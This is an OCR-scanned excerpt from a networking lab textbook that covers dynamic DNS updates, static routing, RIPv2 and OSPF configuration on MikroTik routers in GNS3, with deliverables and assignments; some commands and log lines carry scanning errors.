Apr 13 23:02:27 ns1 named[3275]: client @@x7felacid4a4d8 B89.30.80.34#43343/key rn
dc-key: signer "rndc-key" approved

Apr 13 23:02:27 nsl named[3275]: client @@x7felacld4ad4d8 89.30.80.34#43343/key rn

Figure 16 - Live monitoring system logs

2.3. Reboot PC1 and watch the logs for the DHCP handshake and zone file mapping

:04:25 ns1 named[3275]: client @@x7felacl4a4ds 89.30.80.34#45305/key : signer "rndc-key" approved

:04:25 nsl named[3275]: client @®x7felacidadds B89.30.80.34#45305/key : updating zone 'blue.net/IN': adding an R
.blue.net' A 192.168.5.100

:04:25 ns1 named[3275]: client @@x7felacid4a4ds 89.30.80.34#45305/key -key: updating zone 'blue.net/IN': adding an R
.blue.net' DHCID AAEBZ9NZ4YN4XdoDFVPTKePWRvZZKiWT6KykIVbGkpaXoFw=

:04:25 nsl named[3275]: client @®x7felacid4add8 B89.30.80.34#58277/key : signer "rndc-key" approved

:04:25 nsl named[3275]: client @®x7felacidadds B89.30.80.34#58277/key : updating zone '5.168.192.1in-addr.arpa/IN
: deleting rrset at '100.5.168.192.in-addr.arpa' PTR
Apr 13 23:04:25 nsl named[3275]: client @@x7felacl4a4ds 89.30.80.34#58277/key -key: updating zone '5.168.192.in-addr.arpa/IN
: adding an RR at '100.5.168.192.in-addr.arpa' PTR PCl.blue.net.

Figure 17 - Dynamic DNS updates

2.4. In the Wireshark window, you should see *DNS Update* packets
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£ *- [NS1 EthernetD to Switch2 Ethernet1] — O =
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help
mae® RE QRe=2=F 4 S (|=aaaH
(I [dns| [X] -]+
Mo. Time Source Destination Protocol  Length Info ~
154 345.526823 89.30.80.35 89.38.88.34 DNS 189 Dynamic update response Bx2689 SC
162 345.527577 89.30.80.34 89.38.80.35 DNS 254 Dynamic update @xdc71l S0A blue.ne
164 345,527899 89.38.88.35 89.38.88.34 DNS 175 Dynamic update response @xdc7l N
172 345.528594 89.308.88.34 89.38.80.35 DHS 254 Dynamic update @x5e52 S0A blue.ne
174 345.52887@ 89.308.80.35 89.38.80.34 DHS 175 Dynamic update response @x5e52 RF
184 3bl.858515 89.308.88.34 89.38.88.35 DNS 242 Dynamic update @x5a®a SOA blue.ne
186 368.853769 89.30.80.35 89.38.80.34 DNS 175 Dynamic update response Bx5aBa SC
194 36@.354547 80.38.80.34 80.38.80.35 DNS 250 Dynamic update @xd8cc SOA blue.ne
196 368.857533 89.308.80.35 89.38.88.34 DNS 175 Dynamic update response @xd8cc 5C
2@4 3pl.858280 89.308.88.34 89.38.80.35 DHS 285 Dynamic update @x13e2 SO0A 5.168.1
286 368.861173 89.308.80.35 89.38.80.34 DHS 189 Dynamic update response Bx13e2 SC
214 36B.861939 89.308.808.34 89.38.88.35 DNS 254 Dynamic update 8x6641 SOA blue.ne
216 368.864383 89.30.88.35 89.38.860.34 DNS 175 Dynamic update response @x6641 Nz
224 36@.365186 59.3@8.80.34 £9.3@8.80.35 DNS 254 Dynamic update @xflal SOA blue.ne
226 368.868355 89.308.80.35 89.38.88.34 DHS 175 Dynamic update response @xflal 5C
234 368.869225 89.308.88.34 89.38.80.35 DHS 231 Dynamic update @xe371 SO0A 5.168.1
236 368.872418 89.308.88.35 89.38.88.34 DNS 189 Dynamic update response Bxe971 SC
£ >
< LK >
Y ¥ Namain Mama Suotam: Dratneal Darestes IE0 « Nienlzuads £7 00 1803 Drafilar Mafanle

Figure 18 - Wireshark DNS updates

2.5. Repeat for the other two PC clients

NOTE: You can request new IP address leases in Tiny Core with the following command:

> sudo udhcpc

3. After about 15 minutes, BIND9 will populate the db files with the updated host/IP records

NOTE: By default, this information is stored in a journal file (JNL) which is located in the same
directory as the zone files. The main database files are not frequently updated to increase efficiency.

End of Lab

Deliverables

4 screenshots are needed to receive credit for this exercise:

J BLUE1 (PC1) successfully pinging BLUE2 (PC2) by name as observed on BLUE1 (PC1)
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BLUE2 (PC2) successfully pinging BLUE3 (PC3) by name as observed on BLUE2 (PC2)

. BLUE1 (PC1) successfully performing a DNS query and resolution with the NS1 server via Wireshark
monitoring

Live stream of NS1 reports of the DHCP handshake and zone logs when (BLUE3) PC3 is rebooted

Assignment 1 - Add the GREEN network to the workspace on the existing router

. Minimize wasted address space for 313 machines

o Add 3 Tiny Core machines to prove functionality

o Itis okay to turn off the 3 BLUE end devices to save VM resources

Modify the router, DHCP1, and NS1 to provide the same functionality to the GREEN network that
exists on the BLUE network

Assignment 2 - Complete Assignment 1 and then add a PURPLE network

Minimize wasted address space for 512 machines

o Add 3 Tiny Core machines to prove functionality

o

It is okay to turn off the other end devices to save VM resources

Modify the router, DHCP1, and NS1 to provide the same functionality to the PURPLE network that
exists on the BLUE and GREEN networks

RECOMMENDED GRADING CRITERIA: Same as deliverables with appropriate substitutions for added devices.
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CHAPTER 26

Static Networking Part 2

JACOB CHRISTENSEN

Up to this point, we have been using one router in our working environments that use DHCP. However, you will
rarely work on a network with only one router because the whole point of an enterprise network is to connect
multiple LANs into a single cohesive network.

In this lab, we will create and connect three LANs via three routers. We introduce you to static routing solutions
so you can become familiar with routing procedures. Static routing is impractical mainly because it is very
manpower intensive to maintain and prone to human error.

Estimated time for completion: 60 minutes

LEARNING OBJECTIVES

+ Successfully create three functional LANSs:
o Gray (DHCP Server)
o Red (Switch + 2 PCs)
o Blue (Switch + 2 PCs)

« Configure three routers to use static routing so all devices can communicate

PREREQUISITES

+ Chapter 20 - Static Networking Part 1
+ Chapter 21 - DHCP Relay

DELIVERABLES

4 screenshots are required to receive credit for this lab

+ Screenshot of GNS3 workspace with everything labeled
+ Screenshot of the DHCP configuration
+ Wireshark Screenshots of a Red host successfully pinging:

o Blue Host

480
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o @Gray Host

RESOURCES

* MikroTik RouterOS Documentation - IP Routing - https://help.mikrotik.com/docs/display/ROS/
[P+Routing

CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | -Building the Topology

The following steps are to create the baseline for completing the lab. It makes assumptions about learner
knowledge from completing previous labs. To reduce the amount of stress on the PC, we will be using Linux
boxes for DHCP.

By the end of this chapter, your network should look like the following:



https://help.mikrotik.com/docs/display/ROS/IP+Routing
https://help.mikrotik.com/docs/display/ROS/IP+Routing
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Supernet: 10.0.0.0/16

DHCP-SERVER

.6
Gray
Backbone 10.0.3.0/29
0 e e i e e e ROUTER-3

.1

Routerl-Router2: .4.0/30
Routerl-Router3: .5.0/30
Router2-Router3: .6.0/30

10.0.5.0 10.0.6.0

ROUTER-1 ROUTER-2
.1

.1
Red Blue
10.0.0.0/23 10.0.2.0/24
-1 10.0.4.0 -2

.1
Switchl./”

\ Fwit: h2
=
S3 3
PC1 PC2 PC3 = PC4

Figure 1 - Final GNS3 network

1. Open GNS3
1.1. Create a new project: LAB_12
2. Build a small network with the following specifications:

2.1. Class B Supernet - 10.0.0.0/16

Host Range

Host Lower Bound 10.0.0.1

Host Upper Bound 10.0.255.254
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NOTE: Our supernet is the total IP address space we are allowed to use for this network. We
will subnet this as necessary to fit our needs for each LAN. If you still confused how subnetting
works, there are plenty of online tools that can help augment your learning!

2.2. Subnet - Red

2.2.1. One switch - Ethernet switch

2.2.2. Two client machines - VPCS

2.2.3. Minimize wasted address space for 300hosts

483

Network 10.0.0.0

Netmask 255.255.254.0 (/23)
Broadcast 10.0.1.255
Gateway 10.0.0.1

DHCP Lower Bound 10.0.0.100

DHCP Upper Bound 10.0.1.250

adjust as necessary.

NOTE: | am choosing to reserve the first usable host for my gateway addresses.
In addition, my DHCP range does not include every single host address available
(mostly because | like clean numbers). These are not hard and fast rules. Feel free to

2.3. Subnet - Blue

2.3.1. One switch - Ethernet switch

2.3.2. Two client machines - VPCS

2.3.3. Minimize wasted address space for 150 hosts


https://jodies.de/ipcalc
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Network 10.0.2.0

Netmask 255.255.255.0 (/24)
Broadcast 10.0.2.255
Gateway 10.0.2.1

DHCP Lower Bound 10.0.2.100

DHCP Upper Bound 10.0.2.250

2.4. Subnet - Gray

2.4.1. One DHCP server - Ubuntu 22.04.X LTS

NOTE: In this example, the server will have a static IP address of 10.0.3.6.

2.4.2. Minimize wasted address space for 6 hosts

Network 10.0.3.0
Netmask 255.255.255.248 (/29)
Broadcast 10.0.3.7
Gateway 10.0.3.1

2.5. Subnet - Backbone
2.5.1. Three routers - MikroTik CHR

2.5.2. Full-mesh topology

NOTE: The term full-mesh simply means that each node is connected to every
other node.

2.5.3. Minimize wasted address space for each router-to-router connection

Router1 <-> Router2 10.0.4.0/30

Router1 <-> Router3 10.0.5.0/30

Router2 <-> Router3 10.0.6.0/30
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3. Connect each LAN to their own router

4. Label and organize your network as necessary

Supernet: 10.0.0.0/16

DHCP-SERVER

-6 Gray
10.0.3.0/29

ROUTER-3

ROUTER-1 ROUTER-2

Red

Blue

10.0.0.0/23

10.0.2.0/24

Switch2

PC1 PC4

Figure 2 - GNS3 working environment

Phase Il - Configuring the Backbone Network

Before any of the clients can receive IP addresses, we need to ensure that the routers can communicate with
each other. This phase will focus on how to configure MikroTik routers and establishing static routes.

1. Login to Router1 and open its console

1.1. Set static IP addresses for all active network interfaces (Figure 3)


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure3.png
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Interface Network IPv4 Address
ether1 -> Red 10.0.0.0/23 10.0.0.1
ether2 -> Router2 10.0.4.0/30 10.0.4.1
ether3 -> Router3 10.0.5.0/30 10.0.5.1

NOTE: Refer to Chapter 16, Phase Il for additional information on how to configure IP
address in MikroTik.

1.2. Configure Router1 to act as a relay for DHCP discover packets (Figure 4)

> ip dhcp-relay add name=Red-Relay interface=etherl dhcp-

server=10.0.3.6 local-address=10.0.0.1 disabled=no

NOTE: You only need to configure DHCP forwarders for networks directly connected to the
relay. In this case, only the Red subnet is attached to this router, so only one relay needs to be
made. Refer to Chapter 21, Phase Il for additional information.

1.3. Statically update Router1’s routing table with routes to the Blue and Gray networks
(Eigure 5)

NOTE: Two routes need to be created for every subnet, with each specifying the same
destination via different gateways (Router2 and Router3). This is a form of redundancy that
ensures network functionality even in the case of either path going offline. When building
networks, it is important to mitigate as many single point of failures as possible to ensure
availability and reliability.

1.3.1. Add all routes to the Blue subnet

> ip route add dst-address=10.0.2.0/24 gateway=10.0.4.2

distance=1

> ip route ele! dst-address=10.0.2.0/24 gateway=10.0.5.2

distance=2

NOTE: The distance option specifies how many additional routers are needed to



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure4.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure5.png
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reach the destination network. The route with the shortest number of hops will take
priority over the other.

1.3.2. Add all routes to the Gray subnet

> ip route add dst-address=10.0.3.0/29 gateway=10.0.5.2

distance=1

> ip route add dst-address=10.0.3.0/29 gateway=10.0.4.2

distance=2

2. Login to Router2 and open its console

2.1. Set static IP addresses for all active network interface (Figure 6)
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Interfaces Network IPv4 Address
ether1 -> Blue 10.0.2.0/24 10.0.2.1
ether2 -> Router1 10.0.4.0/30 10.0.4.2
ehter3 -> Router3 10.0.6.0/30 10.0.6.1

2.2. Configure Router2 to act as a relay for DHCP discover packets (Figure 7)

> ip dhcp-relay add name=Blue-Relay interface=etherl dhcp-
server=10.0.3.6 local-address=10.0.2.1 disabled=no

2.3. Statically update Router2's routing table with routes to the Red and Gray networks (Figure

8)

2.3.1. Add all routes to the Red subnet

> ip route add dst-address=10.0.0.0/23 gateway=10.0.4.1

distance=1

> ip route add dst-address=10.0.0.0/23 gateway=10.0.6.2

distance=2



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure6.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure7.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure8.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure8.png
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2.3.2. Add all routes to the Gray subnet

> ip route ele! dst-address=10.0.3.0/29 gateway=10.0.6.2

distance=1

> ip route add dst-address=10.0.3.0/29 gateway=10.0.4.1

distance=2

3. Login to Router3 and open its console

3.1. Set static IP addresses for all active network interfaces (Figure 9)

Interfaces Network IPv4 Address
ether1 -> Gray 10.0.3.0/29 10.0.3.1
ether2 -> Router1 10.0.5.0/30 10.0.5.2
ether3 -> Router2 10.0.6.0/30 10.0.6.2

NOTE: We will not configure any DHCP relays on this device since there is no DHCP-
dependent LAN that is directly connected to it. The Gray subnet will only consist of statically
assigned host addresses.

3.2. Statically update Router3's routing table with routes to the Red and Blue networks (Figure
10)

3.2.1. Add all routes to the Red subnet

> ip route add dst-address=10.0.0.0/23 gateway=10.0.5.1

distance=1

> ip route add dst-address=10.0.0.0/23 gateway=10.0.6.1

distance=2

3.2.2. Add all routes to the Blue subnet

> ip route lele! dst-address=10.0.2.0/24 gateway=10.0.6.1

distance=1



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure9.png
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add dst-address=10.0.2.0/24 gateway=10.0.5.1

4. Verify that all three routers can ping each other before continuing to the next section

Phase Ill - Configure the DHCP Server

Now that the network is setup, we can configure our server and test the reliability of the routes.

1. Start the DHCP server and login
1.1. Configure the network interface with the static IPv4 address 10.0.3.6 (Figure 11)

1.2. Modify the DHCP daemon configuration file to support the Red and Blue networks (Figure
12)

2. Start PC1 and open its console

2.1. Testthe DHCP service by requesting a new IP address

> ip dhcp

2.2. Test the reliability of the network by cutting the Router1-Router3 link


https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure11.png
https://eaglepubs.erau.edu/app/uploads/sites/10/2023/07/static-networking-figure12.png
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ROUTER-3 I .1

10.0.6.0
ROUTER-1 ROUTER-2

| @@

Figure 13 - Cut wire in network

2.3. Request a new IP address

> ip dhcp

3. Repeat step 2 with a client device from the Blue network

NOTE: Try cutting the Router2-Router3 link instead. We are trying to see if the routers can successfully
redirect packets via the longest path!

Congratulations! You were able to create small network with multiple routers by manually administering the
routing tables. Hopefully by the end of this exercise you realize how tedious and error-prone this can be as
network sizes increases. Luckily, the next few chapters will introduce new protocols that can automate this process

for a much friendlier experience.

End of Lab

Deliverables

4 screenshots are required to receive credit for this lab

+  Screenshot of GNS3 workspace with everything labeled

«  Screenshot of the DHCP configuration
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+  Wireshark Screenshots of a Red host successfully pinging:

° Blue Host

° Gray Host

Assignment 1 - Add another LAN and router to our enterprise

*  Add a Green network to the enterprise

. It is projected to use 73 hosts

+  The new router needs to connect to both Router1 and Router2 for redundancy
*  The Green network needs to get DHCP addresses from the DHCP server

. Hint: don't forget to update the old routers with new paths as well!

c RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled
o Screenshot of the DHCP configuration

o Wireshark Packet Captures where a Green host can ping

. Red Host
Blue Host

Gray Host

+  Sample network environment:

491
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DHCP-SERVER

ROUTER-3

PC1 PC3
Switchl ROUTER-1 ROUTER-2 Switch2
«2 «2
PC2 - > PC4

Figure 14 - Assignment 1 network

Assignment 2 - Create a full mesh network

c Building off of Assignment 1
+  Add a Purple network to the enterprise
. It is projected to use 600 hosts

+  Add network paths so each router has a link to every other router. (e.g. as it stands, Router3 has no
direct connection to Router4)

RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled
o Wireshark capture on the following links showing that an ICMP packet from a Blue host
takes different paths to reach the Purple host (You may have to disconnect some
connections to force the change in path)
. Router1 <-> Router5

. Router2 <-> Router5
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. Router3 <-> Router5

. Router4 <-> Router5

+  Sample network environment:

DHCP-SERVER

ROUTER-3

PC1 Switchl ROUTER-1 ROUTER-2 Switch2 PC3

=
&=
ea

PC6 PC3

Figure 15 - Assignment 2 network

Figures for Printed Version

Figure 3 - Set static addresses for each
interface
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[admin@ 1 » ip dhcp-relay

Columns: MAHE, INTERFACE, DHCP-SERVER, LOCA -ADDRESS
+ NHE LOCAL —ADDRESS

0 Red-Relay ether: 10,0,0,1
[admin@ S

1> ip route

I - IYNAHIC: A - ACTIVE: c - COMMECT. = - STATIC
=t IST-ADDRESS, GATEMAY, DISTANCE

GATEWAY  DISTANCE

etherl 0

!
|

admin 1> ip add
Columns M ADDRESS . HETHORK

Figure 6 - Set static IPs for router 2's
interfaces

[admin@ 1 » ip dhcp-relay

Columns: MAME, INTERFACE, DHCP-SERVER. LOCA -ADDRESS
& NAHE INTERFACE DHCP-SERVER  LOCAL-ADDRESS
0 Blue-Relay etherl 10,0,3.6 10,0,2,1
[admin@ ;

1 ip route
- IWNAHIC: A - ACTIVE: c - COMMECT. = - STATIC
IST-ADDRESS, GATEWAY. DISTANCE
DIST-ADDRESS GATEMWAY  DISTANCE
: 10, 2 2

[l el el el e e el

[admin

Figure 8 - Add routes to Red and Grey networks on router 2

PHD
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> ip addr

1% ip route
- IWNAHIC: A - ACTIVE: c - COMMECT, = - STATIC
: IST-ADDRESS, GATEMAY. DISTANCE

s the network config weitten by 'Take M. Christensen’

optional
dhcpd
addr

)

Figure 11 - Static IP on DHCP relay server
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'Jake M. Christenszen'

authoritat
default-

aption rou
option su
aption hro
range

Blue Subnet Directive

option s
option broa

range

Figure 12 - Add DHCP support for Red and Blue networks
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CHAPTER 27

Dynamic Networking - Routing Information Protocol

JACOB CHRISTENSEN AND MATHEW J. HEATH VAN HORN, PHD

As demonstrated in the previous lab, routers need to be told about distant networks in order to communicate
with devices 1+ hops away. Doing this task manually is tedious and highly prone to human error, especially as
networks start increasing in size. As a result, the Routing Information Protocol (RIP) was developed to allow routing
devices to advertise their routing tables with their surrounding neighbors autonomously. Not only did this save
configuration time, but it allowed routers to essentially re-calibrate themselves even as devices were added or
removed over time.

Estimated time for completion: 15 minutes

LEARNING OBJECTIVES

+ Implement the RIPv2 network routing protocol
+ Practice using DHCP from a remote server

+ Determine a network topology from a captured network packet

PREREQUISITES

+ Chapter 26 - Static Networking Part 2

DELIVERABLES

3 Screenshots are required to consider this lab complete:

+ Screenshot of GNS3 workspace (LANS labeled with correct IPs and Subnets)
+ Screenshot of DHCP configuration settings

+ Screenshot of Wireshark packet showing RIPv2 network advertisement for all networks

RESOURCES

+ MikroTik RouterOS Documentation - RIP - https://help.mikrotik.com/docs/display/ROS/RIP

+ MikroTik Router OS Documentation - RouterOSv7 changes to RIP - https://help.mikrotik.com/docs/
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display/ROS/Moving+from+ROSv6+to+v7+with+examples

CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Building the Network Topology

The following steps are to create a baseline for completing this lab. It makes assumptions about learner
knowledge from completing previous labs.
By the end of this lab your network will look like the following:

Supernet: 10.0.0.0/16

DHCP-SERVER

.6 Gray
10.0.3.0/29

ROUTER-3

ROUTER-1 ROUTER-2

Red
10.0.0.0/23

Switchl

Blue
10.0.2.0/24

Switch2

PC1 PC4

Figure 1 - Final GNS3 environment

1. Open GNS3

1.1. Open the previous Chapter 26 lab


https://help.mikrotik.com/docs/display/ROS/Moving+from+ROSv6+to+v7+with+examples
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1.2. Save it as a new project: LAB_13
2. Modify the network environment:

2.1. Remove the manually assigned static routes from Router1

> ip route remove 0,1,2,3

[admin@ 1 » ip route
I - DYMAHIC: 6 - ACTIVE: - - COMMECT, = - STATIC
=t IGT-ADDRESS, GATEWAY. DISTANCE
DST-ADDRESS GATEWAY  DISTANCE

D - DYNOHIC:

s: DST-ADDRESS, GATEMAY, DISTANCE
GATEMAY DISTONCE
etherl

[admin@

Figure 2 - Removing static routes

2.2. Repeat for the other two routers

3. Label and organize your network as necessary

Phase Il - Configuring RIPv2 on MikroTik RouterOS

RIP (Routing Information Protocol) is one of the original protocols used by the Internet. Version 2 is the current
protocol standard. RIPv2 is a distance-vector protocol in that the routers must communicate with each other
about the routes they know about. The term “hop” is used to describe the distance from A to B. In our example,
PC1 would take 3 hops to reach PC3: (start) 10.0.0.0 -> 10.0.4.0 —> 10.0.2.0 (end). RIP advertisement packets
contain the distance vector hop information. We are going to configure our RED and BLUE networks to use RIPv2
and look at the vector tables. Fortunately for us, MikroTik has simplified RIPv2 configuration immensely!

1. Initialize a Wireshark capture between Router1 and Router2

2. Create a new RIPv2 instance on Router1
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> routing rip instance add name=RIP-ROUTER-01 redistribute=connected, rip

> routing rip interface-template add interfaces=all instance=RIP-ROUTER-01

3. Create a new RIPv2 instance on Router2

> routing rip instance add name=RIP-ROUTER-02 redistribute=connected, rip

> routing rip interface-template add interfaces=all instance=RIP-ROUTER-02

4. Focus on the Wireshark capture window

4.1. You should start to see RIPv2 Request and Response messages being exchanged to the IP
224.0.0.9 over port 520

Source Destination Protocol Info
18.8.4.1 520 224.0.0.9 RIPv2 Response
18.8.4.1 520 224.0.0.9 RIPv2Z Response
18.8.4.1 520 224.0.0.9 RIPv2 Response
18.8.4.2 520 224.0.8.9 RIPvZ2 Request
18.8.4.1 520 18.8.4.2 RIPv2 Response
18.8.4.1 520 224.0.0.9 RIPv2Z Response
10.8.4.2 520 224.0.0.9 RIPv2 Response

Figure 3 - Wireshark packet capture filtered for RIP

4.2. Opening any one of these packets will reveal the routing table being distributed

Routing Information Protocol
Command: Response (2)

Version: RIPvZ (2)
IP Address: 10.0.2.8, Metric:
ess

IP Addr

10.08.6.0, Metric:

Figure 4 - RIP packet analysis

4.3. The recipient routers will use this information to update their own routing tables

> ip route print
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[admin@ 1 » ip route
I - IYMAHIC: / - ACTIVE: - - COMMECT,. - - RIP
=t IGT-ADDRESS, GATEWAY. DISTANCE
IST-ADDRESS  GATEWAY

r1

[admin

Figure 5 - Updated routing table

5. Configure RIPv2 on Router3
6. Test the network’s new ability to dynamically update its routes

6.1. Try requesting a new IP address on PC1 and PC3

NOTE: Did you remember to configure Router1 for DHCP-Relay?

6.2. View the route taken from PC1 to PC3

> trace 10.0.2.X -P 1

trl+C to ztop

Figure 6 - Tracing path to PC3

6.3. Cut the path that the ICMP packet took to test if RIP can dynamically update network
paths
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ROUTER-01

ROUTER-02

/ ROUTER-02

Figure 7 - Cutting path in GNS3

trl1+C to ztop

E,

=

=
[ I e el el

Figure 8 - Tracing route to PC3

Hopefully this exercise proved how significantly easier routing protocols are compared to manually assigning
routes in networks.

End of Lab

Deliverables

3 Screenshots are required to consider this lab complete:

. Screenshot of GNS3 workspace (LANS labeled with correct IPs and Subnets)

+  Screenshot of DHCP configuration settings

Screenshot of Wireshark packet showing RIPv2 network advertisement for all networks
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Assignment 1 - Update the network build in Assignment 1 from the previous chapter

«  Configure DHCP to support the network
. Replace static routes with RIPv2

0 RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled
o Screenshot of the DHCP configuration
° Screenshot of RIPv2 packets

o Wireshark Packet Captures where a Green host can ping

. Red Host
. Blue Host

. Gray Host

+  Sample network environment:

503
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DHCP-SERVER

ROUTER-3

PC1 PC3
@ Switchl ROUTER-1 ROUTER-2 Switch2 @
-2 1 -2

PC2 « 2> & p-a 2

v
[a]
B

Figure 9 - Assignment 1 network
Assignment 2 - Update the network build in Assignment 2 from the previous chapter

+  Configure DHCP to support the network
J Replace static routes with RIPv2

0 RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled
o Trace route command showing that an ICMP packet from a Blue host takes different
paths to reach the Purple host (You may have to disconnect some connections to force
the change in path)
. Router2 —> Router5
. Router2 -> Router1 -> Router5
. Router2 -> Router3 -> Router1 -> Router5

- Router2 -> Router3 -> Router1 -> Router4 -> Router5
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+  Sample network environment:

DHCP-SERVER

ROUTER-3

PC1 Switchl ROUTER-1

=9
-
CH=

ROUTER-2 Switch2 PC3

=9
&=
21O

PC6 PC8

Figure 10 - Assignment 2 network
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CHAPTER 28

Dynamic Networking - Open Shortest Path First

MATHEW J. HEATH VAN HORN, PHD AND JACOB CHRISTENSEN

Open Shortest Path First (OSPF) is quite complicated to implement, but it makes things very simple for users. Its
essence is that routers share information with each other so that when a data packet needs to go from Point A
to Point B, all the routers know the fastest path through the network. The “fastest path” can be decided by the
physical distance between routers (speed of light energy loss), electrical distance (router hops), and availability
and reliability. This means you can't just look at a network diagram and make assumptions about speed. In this
lab, we will build an OSPF network with several paths. We will look at how the OSPF builds a network topology
and shares the information amongst the routers. We will also watch how the familiar ICMP packets traverse the
network.
Estimated time for completion: 30 minutes

LEARNING OBJECTIVES

+ Successfully configure an enterprise network to use OSPF routing
+ Use Wireshark to identify packets specifically associate with OSPF
+ Implement a DHCP Relay solution to an enterprise network

+ Use CIDR subnetting techniques to minimize the IP network space waste

PREREQUISITES

+ Chapter 26 - Static Networking Part 2

« Chapter 27 - RIPv2 Networking

DELIVERABLES

+ 5 screenshots are required to receive full credit for this assignment
o GNS3 working environment will have all devices on and labeled correctly
> Arouter display of all the IP routes - all four router IDs should be visible
o Wireshark showing OSPF Hello Packets
o Wireshark shows ICMP packets between PC1 and PC3 using one path

506
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o Wireshark shows ICMP packets between PC1 and PC3 using a different path

RESOURCES

+ MikroTik RouterOS Documentation - OSPF - https://help.mikrotik.com/docs/display/ROS/OSPF

+ |BM - Packet Types for OSPF - https://www.ibm.com/docs/en/i/7.1?topic=concepts-packet-types-ospf

CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity Student, ERAU-Prescott

Phase | - Terminology

OSPF relies on many terms to describe the relationship between the routers and the routing processes. We
will use many of these in this lab, so we will list them here. The list is from the MikroTik RouterOS manual but will
be summarized. so you don't have to flip back and forth between websites.

+ Adjacency - A logical connection between a router and a designated router and a backup designated
router. No routing information is exchanged unless adjacencies are formed.

+ Area Border Router (ABR) - A router that is connected to multiple areas and is responsible for
summarizing and update suppression between network areas.

+ Autonomous System (AS) - Routers that use a common routing protocol to exchange information.

+ Autonomous System Boundary Router (ASBR) - A term used to describe a router that is connected to
an external network and imports the external routes into the OSPF topology.

« Back-up Designated Router (BDR) - A hot standby for the designated router and receives all routing
updates from adjacent routers, but does not flood with updates.

+ Broadcast - Network protocols that allow broadcasting (e.g. Ethernet)

+ Cost - Each link in the network is assigned a cost, a value that is dependent upon the speed of the
media. Also known as the interface output cost since the time inside a router is not counted.

+ Designated Router (DR) - A router unique to broadcast network protocols that are used to minimize
the number of adjacencies formed.

+ Interface - The router’s physical interface (e.g. ether1). Also known as a link in OSPF parlance.

+ Link State - The status of a link between two routers. It defines the relations between a router’s
interface and its neighboring routers.

+ Link State Advertisement (LSA) - A specialized data packet that contains link-state and routing
information and is shared between routers.

* Neighbor - A connected OSPF router with adjacent routers in the same area.

* Non-broadcast multi-access (NBMA) - Routers that allow access, but do not broadcast their
information.

* Point-to-Point - A network solution that eliminates the need for DRs and BDRs.


https://help.mikrotik.com/docs/display/ROS/OSPF
https://www.ibm.com/docs/en/i/7.1?topic=concepts-packet-types-ospf
https://help.mikrotik.com/docs/display/ROS/OSPF

508 MATHEW J. HEATH VAN HORN, PHD

* Router ID - IP address used to identify the OSPF router. Can be manually or automatically assigned.

Phase Il - Setup

The purpose of this lab is to set up and configure OSPF. However, to get to that point, some initial
configuration is required. If you saved your configuration from Static Routing or RIPv2, you can reuse it.
However, you gain more experience and suffer fewer “| forgot to reset XXXX" problems if you start from scratch.

By the end of this lab, your network will look like the following

SUPERNET: 10.0.0.0/16

BACKBONE GRAY-SWITCH DHCP-SERVER
R1<->R2 10.0.4.0/30 i(::’, SUBNET GRAY: 10.0.3.0/29
R1<->R3 10.0.5.0/30 6
R2<->R3 10.0.6.0/30
1 ROUTER-03
10.255.255.3
2 2
SUBNET RED: 10.0.0.0/23 SUBNET BLUE: 10.0.2.0/24
RED-SWITCH 1 A1 BLUE-SWITCH
- -
L =
e 1 1 .2 1 «
ROUTER-01 ROUTER-02
10.255.255.1 10.255.255.2
PC1 PC2 PC3 PC4

@ G @

Figure 1 - Final GNS3 network environment

1. Open GNS3
1.1. Open the previous Chapter 27 lab

1.2. Save it as a new project: LAB_14
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2. Remove RIP from the network environment

2.1. In Router1, remove RIPv2 advertisements from all interfaces

> routing rip interface-template remove 0

2.2. Terminate the RIPv2 instance

> routing rip instance remove 0

3. Assign Router1 a new loopback address to be used as device identifiers for OSPF

3.1. Create a new loopback interface

> interface bridge add name=loopback

Command Meaning

interface Access the interface menu directly

bridge every ethernet frame received on this point gets transmitted to all other points

add create a new interface

name= what follows will be a name for this new interface

loopback This self-documenting name allows humans to know the purpose of this bridge interface

NOTE: Loopback interfaces are useful in that they are always online. They cannot go up and
down like a physical interface.

3.2. Assign it a unique IPv4 address - 10.255.255.1

> ip address add address=10.255.255.1/32 interface=loopback
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ip address access the ip address menu directly

add create a new IP address

address= what follows will be the new IP address

10 10 is the start of the backbone IP space

255 255 255 can have several meanings such as “all”, wildcard, no change, etc. In this case, it is a notation saying that

this is not a network address for use by the network.

1 this indicates it is router 1

/32 CIDR notation means that only 1 IP address is allowed. It serves as another notation about non-network

address
interface= what follows is the interface that will use this IP address
loopback the interface name. In this case, it is referring to the bridge interface we created earlier

NOTE: Loopback addresses can be anything (with some exceptions) as long as they are
unique to the device. Since we are using them as device identifiers, it is important to be able
to quickly differentiate between a routing IP address and a loopback address. For the purpose
of documentation and organization, we are using the format 10.255.255.X for the loopback
addresses on this network, where X represents the router's number (ex 1, 2, and 3). This is not
a hard-and-fast rule... feel free to adjust as necessary.

4. Repeat steps 2 and 3 above on both Router2 and Router3

5. Update your network diagram with new router ID labels

Phase Ill - OSPF

OSPF is a link-state routing protocol that finds the shortest path between two network points and then uses
this path to send packets. In our current configuration, there is no “shortest path” per se, we are just looking to
get OSPF working so you can see it in action.

OSPF configuration in MikroTik Routers follows a basic format:

+  Create a loopback interface
. Enable the OSPF routing protocol
+  Configure the OSPF area

+  Configure the OSPF network

1. Start a Wireshark packet capture on the Router1-Router?2 link

2. Configure OSPF on Router1
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2.1. Create an instance of OSPF and assign the router’s loopback address to serve as the
router’'s ID

